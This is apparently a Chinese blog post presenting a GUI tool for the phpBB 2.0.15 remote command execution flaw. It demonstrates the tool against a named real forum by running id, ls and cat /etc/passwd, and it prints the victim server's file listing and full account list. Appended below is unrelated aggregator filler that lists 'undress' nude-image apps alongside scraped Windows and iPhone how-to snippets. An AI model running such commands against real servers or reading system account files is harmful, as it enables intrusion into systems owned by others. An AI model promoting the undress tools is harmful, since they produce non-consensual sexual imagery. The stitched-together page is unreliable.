PHPbb2.0.15远程命令执行漏洞利用程序
烦人的小学期终于上完了,看到无敌兄的>,现在有空了,自己也写了一个此漏洞的利用程序的GUI版,适合菜鸟使用.程序基本实现了http://www.securiteam.com/exploits/5QP0X00G0C.html这个python程序的功能.注意:读取数据量过大时,程序会出现短暂的假死.
测试:
Forum Url: http://www.tuoitho.net/diendan/
Topic ID: 15218 Command: id
Data Received: uid=99(nobody) gid=99(nobody) groups=99(nobody)
当然我们可以换用其他命令如输入ls返回:
_makepagelink.php
_new_register.txt
_news.txt
admin
bank_index.php
cache
chat_popup.js
common.php
config.php
db
ecards
extension.inc
faq.php
flashgame
forum.php
gallery
groupcp.php
images
includes
index.php
language
login.php
memberlist.php
modcp.php
photo
posting.php
privmsg.php
profile.php
realmusic.php
search.php
streammedia.php
templates
tt_images
tt_temp
ttd_news.php
vietuni8.js
viewforum.php
viewonline.php
viewtopic.php
ysi.htm
ysi.php
输入cat /etc/passwd返回:
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/etc/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpm:x:37:37::/var/lib/rpm:/sbin/nologin
nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
ident:x:100:101::/home/ident:/sbin/nologin
netdump:x:34:34:Network Crash Dump user:/var/crash:/bin/bash
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
pcap:x:77:77::/var/arpwatch:/sbin/nologin
xfs:x:43:43:X Font Server:/etc/X11/fs:/sbin/nologin
wnn:x:49:49:Wnn Input Server:/var/lib/wnn:/sbin/nologin
named:x:25:25:Named:/var/named:/sbin/nologin
mysql:x:101:102:MySQL server:/var/lib/mysql:/bin/bash
mailnull:x:47:47:Exim:/var/spool/mqueue:/bin/false
cpanel:x:32001:502::/usr/local/cpanel:/bin/bash
mailman:x:32002:503::/usr/local/cpanel/3rdparty/mailman:/bin/bash
ltsv-1990:x:32003:32003::/home/ltsv-1990:/bin/bash
ttnet:x:32004:504::/home/ttnet:/bin/bash
ttmail:x:32005:505::/home/ttmail:/usr/local/cpanel/bin/noshell
doicongl:x:32006:506::/home/doicongl:/usr/local/cpanel/bin/noshell
realmsof:x:32007:507::/home/realmsof:/usr/local/cpanel/bin/noshell
trpanoco:x:32009:509::/home/trpanoco:/usr/local/cpanel/bin/noshell
qua:x:32008:508::/home/qua:/usr/local/cpanel/bin/noshell
key:x:32010:510::/home/key:/usr/local/cpanel/bin/noshell
cuop:x:32011:511::/home/cuop:/usr/local/cpanel/bin/noshell
bluewebp:x:32012:512::/home/bluewebp:/usr/local/cpanel/bin/noshell
shugoten:x:32013:513::/home/shugoten:/usr/local/cpanel/bin/noshell
afghansa:x:32014:514::/home/afghansa:/usr/local/cpanel/bin/noshell
polishtr:x:32015:515::/home/polishtr:/usr/local/cpanel/bin/noshell
gioitrec:x:32016:516::/home/gioitrec:/usr/local/cpanel/bin/noshell
colorado:x:32017:517::/home/colorado:/usr/local/cpanel/bin/noshell
wannabel:x:32018:518::/home/wannabel:/usr/local/cpanel/bin/noshell
cactuslo:x:32019:519::/home/cactuslo:/usr/local/cpanel/bin/noshell
aznphoto:x:32020:520::/home/aznphoto:/bin/bash
journeyo:x:32021:521::/home/journeyo:/usr/local/cpanel/bin/noshell
chiropra:x:32022:522::/home/chiropra:/usr/local/cpanel/bin/noshell

Hot AI Tools

Undresser.AI Undress
AI-powered app for creating realistic nude photos

AI Clothes Remover
Online AI tool for removing clothes from photos.

Undress AI Tool
Undress images for free

Clothoff.io
AI clothes remover

AI Hentai Generator
Generate AI Hentai for free.

Hot Article

Hot Tools

Notepad++7.3.1
Easy-to-use and free code editor

SublimeText3 Chinese version
Chinese version, very easy to use

Zend Studio 13.0.1
Powerful PHP integrated development environment

Dreamweaver CS6
Visual web development tools

SublimeText3 Mac version
God-level code editing software (SublimeText3)

Hot Topics

The default map on the iPhone is Maps, Apple's proprietary geolocation provider. Although the map is getting better, it doesn't work well outside the United States. It has nothing to offer compared to Google Maps. In this article, we discuss the feasible steps to use Google Maps to become the default map on your iPhone. How to Make Google Maps the Default Map in iPhone Setting Google Maps as the default map app on your phone is easier than you think. Follow the steps below – Prerequisite steps – You must have Gmail installed on your phone. Step 1 – Open the AppStore. Step 2 – Search for “Gmail”. Step 3 – Click next to Gmail app

Windows Remote Desktop Service allows users to access computers remotely, which is very convenient for people who need to work remotely. However, problems can be encountered when users cannot connect to the remote computer or when Remote Desktop cannot authenticate the computer's identity. This may be caused by network connection issues or certificate verification failure. In this case, the user may need to check the network connection, ensure that the remote computer is online, and try to reconnect. Also, ensuring that the remote computer's authentication options are configured correctly is key to resolving the issue. Such problems with Windows Remote Desktop Services can usually be resolved by carefully checking and adjusting settings. Remote Desktop cannot verify the identity of the remote computer due to a time or date difference. Please make sure your calculations

The sudo command allows users to run commands in elevated privilege mode without switching to superuser mode. This article will introduce how to simulate functions similar to sudo commands in Windows systems. What is the Shudao Command? Sudo (short for "superuser do") is a command-line tool that allows users of Unix-based operating systems such as Linux and MacOS to execute commands with elevated privileges typically held by administrators. Running SUDO commands in Windows 11/10 However, with the launch of the latest Windows 11 Insider preview version, Windows users can now experience this feature. This new feature enables users to

This article will introduce readers to how to use the command prompt (CommandPrompt) to find the physical address (MAC address) of the network adapter in Win11 system. A MAC address is a unique identifier for a network interface card (NIC), which plays an important role in network communications. Through the command prompt, users can easily obtain the MAC address information of all network adapters on the current computer, which is very helpful for network troubleshooting, configuring network settings and other tasks. Method 1: Use "Command Prompt" 1. Press the [Win+X] key combination, or [right-click] click the [Windows logo] on the taskbar, and in the menu item that opens, select [Run]; 2. Run the window , enter the [cmd] command, and then

Is the clock app missing from your phone? The date and time will still appear on your iPhone's status bar. However, without the Clock app, you won’t be able to use world clock, stopwatch, alarm clock, and many other features. Therefore, fixing missing clock app should be at the top of your to-do list. These solutions can help you resolve this issue. Fix 1 – Place the Clock App If you mistakenly removed the Clock app from your home screen, you can put the Clock app back in its place. Step 1 – Unlock your iPhone and start swiping to the left until you reach the App Library page. Step 2 – Next, search for “clock” in the search box. Step 3 – When you see “Clock” below in the search results, press and hold it and

In Win11 system, you can enable or disable Hyper-V enhanced session mode through commands. This article will introduce how to use commands to operate and help users better manage and control Hyper-V functions in the system. Hyper-V is a virtualization technology provided by Microsoft. It is built into Windows Server and Windows 10 and 11 (except Home Edition), allowing users to run virtual operating systems in Windows systems. Although virtual machines are isolated from the host operating system, they can still use the host's resources, such as sound cards and storage devices, through settings. One of the key settings is to enable Enhanced Session Mode. Enhanced session mode is Hyper

Are you getting "Unable to allow access to camera and microphone" when trying to use the app? Typically, you grant camera and microphone permissions to specific people on a need-to-provide basis. However, if you deny permission, the camera and microphone will not work and will display this error message instead. Solving this problem is very basic and you can do it in a minute or two. Fix 1 – Provide Camera, Microphone Permissions You can provide the necessary camera and microphone permissions directly in settings. Step 1 – Go to the Settings tab. Step 2 – Open the Privacy & Security panel. Step 3 – Turn on the “Camera” permission there. Step 4 – Inside, you will find a list of apps that have requested permission for your phone’s camera. Step 5 – Open the “Camera” of the specified app

1. Overview The sar command displays system usage reports through data collected from system activities. These reports are made up of different sections, each containing the type of data and when the data was collected. The default mode of the sar command displays the CPU usage at different time increments for various resources accessing the CPU (such as users, systems, I/O schedulers, etc.). Additionally, it displays the percentage of idle CPU for a given time period. The average value for each data point is listed at the bottom of the report. sar reports collected data every 10 minutes by default, but you can use various options to filter and adjust these reports. Similar to the uptime command, the sar command can also help you monitor the CPU load. Through sar, you can understand the occurrence of excessive load
